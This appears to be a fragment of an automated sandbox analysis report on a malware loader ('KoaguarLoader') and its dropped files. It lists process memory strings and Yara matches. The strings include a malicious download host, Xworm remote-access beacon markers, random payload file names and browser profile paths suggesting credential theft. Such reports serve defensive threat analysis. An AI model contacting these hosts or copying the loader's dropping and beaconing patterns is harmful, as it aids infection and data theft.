Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D0C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\UsersC:\Users\user\AppDataC:\Users\user\AppData\User Data\Default\C:\Users\user\AppDataC:\Users"Program Manager"https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec5447d9e24f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec548928134f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec54c5d8e74f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/etext/html; charset=UTF-891ec54f97e7e4f0b-EWR.exeh3=":443"; ma=86400exetext/html; charset=UTF-891ec54fa8a074f0b-EWRxeh3=":443"; ma=86400ehttps://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec55029c064f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec55424a434f0b-EWRexeh3=":443"; ma=86400.exehttps://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec55ebfc3a4f0b-EWRxeh3=":443"; ma=86400exehttps://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec5601fe324f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec566b09e04f0b-EWR.exeh3=":443"; ma=86400k.exetext/html; charset=UTF-891ec5675c9e94f0b-EWRh3=":443"; ma=86400text/html; charset=UTF-891ec567e5acc4f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec568db8804f0b-EWRexeh3=":443"; ma=86400zxwkrwzjoeqao5.exezxwkrwzjoeqao5.exelkyqv1ukn0ennan.exelkyqv1ukn0ennan.exelkyqv1ukn0ennan.exef2xntpvi0dy0fbglkx.exef2xntpvi0dy0fbglkx.exef2xntpvi0dy0fbglkx.execyskkh9wolepexyami.execyskkh9wolepexyami.execyskkh9wolepexyami.exem7jjcgb7sci7nna.exem7jjcgb7sci7nna.exem7jjcgb7sci7nna.execyzytdpfouuagfocjhbx.execyzytdpfouuagfocjhbx.execyzytdpfouuagfocjhbx.exetkttcxb4zlkfbwtxr1.exetkttcxb4zlkfbwtxr1.exetkttcxb4zlkfbwtxr1.exedgfbnvr33yvx3tqj2dp.exedgfbnvr33yvx3tqj2dp.exedgfbnvr33yvx3tqj2dp.exei1y524i4zau1n3u.exei1y524i4zau1n3u.exei1y524i4zau1n3u.exetxovwmhxxt1dh.exetxovwmhxxt1dh.exetxovwmhxxt1dh.exe6yxsty9urss228c.exe6yxsty9urss228c.exe6yxsty9urss228c.exems57nieykmo51kmht.exems57nieykmo51kmht.exems57nieykmo51kmht.exexspxw2cv55kanvq.exexspxw2cv55kanvq.exexspxw2cv55kanvq.exe0g45rkcgbvvmesl8e.exe0g45rkcgbvvmesl8e.exe0g45rkcgbvvmesl8e.exeqbfbbnpzwngo5.exeqbfbbnpzwngo5.exeqbfbbnpzwngo5.exerc4yj5vypv0cpj.exerc4yj5vypv0cpj.exerc4yj5vypv0cpj.exewig9hssolbio57yzzwu.exewig9hssolbio57yzzwu.exewig9hssolbio57yzzwu.exe2w3u50f2jchiglwugk.exe2w3u50f2jchiglwugk.exe2w3u50f2jchiglwugk.exegkl1ydgxonxhlag.exegkl1ydgxonxhlag.exegkl1ydgxonxhlag.execpyfha5hqswiqzfh.execpyfha5hqswiqzfh.execpyfha5hqswiqzfh.exexvs4mltpvi9wudpvucs.exexvs4mltpvi9wudpvucs.exexvs4mltpvi9wudpvucs.exenmhryelgdiobyldwqnw.exenmhryelgdiobyldwqnw.exenmhryelgdiobyldwqnw.exedqk
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D0C000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000029A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "Program Manager"
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000020AE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: BlProgram Managerl
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000004A42000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000020AE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: BoProgram Manager
Source: svhost.exe, 00000003.00000002.2138122248.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000043B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [Tue, 11 Mar 2025 16:12:03 GMTProgram ManagerTue, 11 Mar 2025 16:12:04 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:19 GMTProgram Manager
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000020AE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: BjProgram Manager
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000004478000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program ManagerTue, 11 Mar 2025 16:11:42 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:11:53 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:03 GMTProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:11 GMTTue, 11 Mar 2025 16:12:11 GMTProgram ManagerTue, 11 Mar 2025 16:12:13 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:23 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:50 GMTTue, 11 Mar 2025 16:12:53 GMTProgram ManagerProgram ManagerTue, 11 Mar 2025 16:13:10 GMTTue, 11 Mar 2025 16:13:12 GMTTue, 11 Mar 2025 16:13:13 GMTTue, 11 Mar 2025 16:13:16 GMT
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000043B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u0iknzArd8%2BXL5rTCiJhOqJPjYGpixphX1XGPd1rentd5IXA05Dam8QRosb{"1":"5","2":"f6ef22dd17e317c8a968f74f07647597","3":"Program Manager","4":"1"}
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000043B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program ManagerProgram ManagerProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:36 GMTProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:45 GMTProgram ManagerProgram ManagerTue, 11 Mar 2025 16:12:48 GMTProgram ManagerTue, 11 Mar 2025 16:12:51 GMTProgram ManagerProgram ManagerProgram ManagerProgram ManagerProgram ManagerProgram ManagerTue, 11 Mar 2025 16:13:08 GMTTue, 11 Mar 2025 16:13:09 GMTProgram ManagerProgram ManagerProgram Manager
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000029A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: tls13 quic ivtext/html; charset=UTF-891ec54c828384f0b-EWRh3=":443"; ma=86400"Program Manager"https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec54d11ad34f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec552eec184f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec55982e1e4f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec55cd3b7c4f0b-EWRh3=":443"; ma=86400text/html; charset=UTF-891ec55e368074f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html; charset=UTF-891ec55f6ab264f0b-EWRh3=":443"; ma=86400text/html; charset=UTF-891ec565dfb114f0b-EWRh3=":443"; ma=86400text/html; charset=UTF-891ec5666ed934f0b-EWRh3=":443"; ma=86400https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000276C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: GetWindowTextWProgram Managertruetrue"813435"'
Source: svhost.exe, 00000003.00000002.2138122248.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000020AE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: BiProgram Manager

Source: Yara match	File source: KoaguarLoader.exe, type: SAMPLE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\svhost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svhost.exe, type: DROPPED

Source: Yara match	File source: 2.2.KoaguarLoader.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.HkqNfKUrMBAD.exe.6e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.I1y524I4zau1n3u.exe.290000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.I1y524I4zau1n3u.exe.290000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HkqNfKUrMBAD.exe.6e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1215210538.0000000000EDD000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.939032080.000000000167D000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2129024902.0000000000A8D000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1079600336.0000000000EDD000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.943416104.0000000000A8D000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: KoaguarLoader.exe PID: 5744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: I1y524I4zau1n3u.exe PID: 3816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HkqNfKUrMBAD.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: I1y524I4zau1n3u.exe PID: 7616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HkqNfKUrMBAD.exe PID: 7956, type: MEMORYSTR